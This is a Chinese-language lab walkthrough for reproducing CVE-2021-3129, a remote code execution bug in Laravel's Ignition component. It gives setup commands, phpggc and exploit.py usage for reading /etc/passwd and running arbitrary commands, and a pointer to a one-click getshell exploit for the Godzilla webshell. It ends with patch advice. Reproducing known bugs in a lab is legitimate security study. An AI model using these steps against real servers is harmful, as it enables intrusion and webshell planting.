前面简介文字多,但是复现过程详细,不要划走哦。可爱的你点个赞呗
0x00 Laravel简介
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。
在Laravel中已经具有了一套高级的PHP ActiveRecord实现 -- Eloquent ORM。它能方便的将“约束(constraints)”应用到关系的双方,这样你就具有了对数据的完全控制,而且享受到ActiveRecord的所有便利。Eloquent原生支持Fluent中查询构造器(query-builder)的所有方法。
0x01 漏洞概述
由于Laravel自带的lgnition组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件触发phar反序列,最终造成代码执行
0x02 影响版本
Laravel <= 8.4.2
Ignition <2.5.2
0x03漏洞复现,环境搭建
在这里用到两台机器(使用一台机器也可)
1 攻击机:kali 2021.2
2 靶机:Centos7
Centos操作:
1 克隆github上已经搭建好的 环境
git clone git://github.com/SNCKER/CVE-2021-3129
2 在克隆好的目录下进行执行以下命令启动环境
docker-compose up -d
3 在浏览器访问自己ip:8888端口 并且点击Generate app key即可
点击之后刷新页面,出现以下页面即搭建成功
kali操作:
4 克隆环境的目录中附带exp,kali攻击机也可在github上进行下载(为了方便,我直接拖过去了)
下载运行exp所使用的到的工具(与exp放同一目录下)
git clone git://github.com/ambionics/phpggc.git
给phpggc可执行权限
chmod 777 ./phpggc/phpggc
5 使用vim修改exploit.py中的目标地址为Centos7地址(即目标地址)
6 使用python3运行脚本开始攻击(从配置文件可以看出默认查看/etc/password文件,也可手动修改)
python3 exploit.py
7 修改一下exploit.py脚本就可以执行任意命令
vim exploit.py
在exploit文件开头添加import sys库
主函数修改为:
8 运行脚本开始测试
第一个参数为目标ip,''中为执行的命令
python3 exploit.py http://192.168.21.129:8888 'whoami'
9 也可一键getshell,连接哥斯拉
exp地址:GitHub - SecPros-Team/laravel-CVE-2021-3129-EXP
防护建议:
1.使用白名单限制相关web项目的访问来降低风险
2.将 Laravel 框架升级至8.4.3及其以上版本,或者将facade ignition组件升级至 2.5.2 及其以上版本